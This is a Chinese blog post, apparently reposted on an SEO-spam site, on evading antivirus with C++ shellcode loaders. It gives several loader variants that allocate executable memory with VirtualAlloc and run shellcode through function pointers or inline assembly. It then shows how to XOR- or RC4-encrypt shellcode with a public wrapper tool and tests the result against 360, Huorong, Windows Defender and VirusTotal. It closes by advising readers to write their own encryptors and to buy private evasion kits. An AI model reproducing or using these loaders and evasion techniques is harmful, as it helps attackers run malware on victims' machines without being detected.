您的位置:首页 > 游戏 > 手游 > 宁波seo推广方式排名_建筑找工作平台_网站快速排名案例_王通seo

宁波seo推广方式排名_建筑找工作平台_网站快速排名案例_王通seo

2024/12/23 7:46:50 来源:https://blog.csdn.net/2301_76227305/article/details/142556256  浏览:    关键词:宁波seo推广方式排名_建筑找工作平台_网站快速排名案例_王通seo
宁波seo推广方式排名_建筑找工作平台_网站快速排名案例_王通seo

前言

上次讲了python混淆免杀,今天讲一下C++混淆免杀。其实都大差不差的,也都是通过各种算法对shellcod进行混淆免杀,只不过是语言从python换成c++了而已。

实验环境

测试环境依旧是360、火绒、WD还有VT。

shellcode上线

下面是最基本几个shellcode加载器和运行代码。

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
unsigned char buf[] =" ";
int main()
{//方式一:指针执行/* ((void(*)(void)) & buf)();*///方式二:强制类型转换//((void(WINAPI*)(void))&buf)();//方式三:申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*///方式四:嵌入汇编加载//__asm {//lea eax,buf//call eax//}//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}

C++呢它不能像python那样直接运行就可以上线,必须生成exe才可以进行上线。顺便说一下如果你生成的shellcode是64位的,那么编译成exe也要选择64位的,同时选择release发布版本,如果你选择debug版本的话,在运行的时候可能会出错,说缺DLL啥的。

生成exe。

但是不知道为啥运行不了,黑窗弹出来然后马上就没了,命令运行也没见啥报错,奇怪了。

虚拟机运行报错如下,有了解的还请解答一下。

后来我又找了一个加载器,不同于上面四个的,这个就可以成功运行。

void main()
{LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}

不用说,原生态的肯定会被查杀的。

加载器免杀

上篇文章说了,除了对shellcode进行混淆之外,还可以对加载器进行免杀。这是我从github找的开源项目,反正就是换各种奇奇怪怪的加载器来执行shellcode,但是效果就不怎么好的,基本没有免杀成功的,就不一个个测试了。

shellcode免杀

我们利用ShellcodeWrapper这个脚本进行免杀,对我们的shellcode进行异或,或者是RC4加密。

下载地址:GitHub - Ch1ngg/ShellcodeWrapperModify: Shellcode wrapper with encryption for multiple target languages

XOR

先生成一个raw格式的shellcode。

这个项目用法也简单,-cpp就是加密后生成一个c++的源文件,-CS就是生成C#的源文件,-py这些也同样的道理。

./shellcode_encoder.py -cpp -cs -py -bin -go 3.bin xor

把c++的编译一下,测试效果,其它语言自己测试就好。火绒一落地就杀了,都还没检测。

WD也是一落地就杀了。

360也杀了。

VT有41个引擎检测到,免杀效果很差,不过也正常20年的项目了,现在都不更新了。

RC4

试试RC4看看效果如何,火绒杀掉了。

360也杀掉了

WD也不行。

说明这个项目确实没啥用了,VT就不测试了。

总结

思路就是用C++来写算法对shellcode加密,以此来逃过杀软的检测。C++的免杀效果不太好,想要达到更好的免杀效果,一个就是换其他语言,比如go啊、python啊。还有就是加密脚本尽量自己写,因为网上公开的脚本,只要用的人多了,杀软就会提取它的特征加入特征库,所以这就是为啥公开的很快就失效了。并不是说自己写的脚本加密方式有多复杂,而是避开了那些特征。还有就是可以进别人的星球去买内部的免杀资源,这样的效果会好很多。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com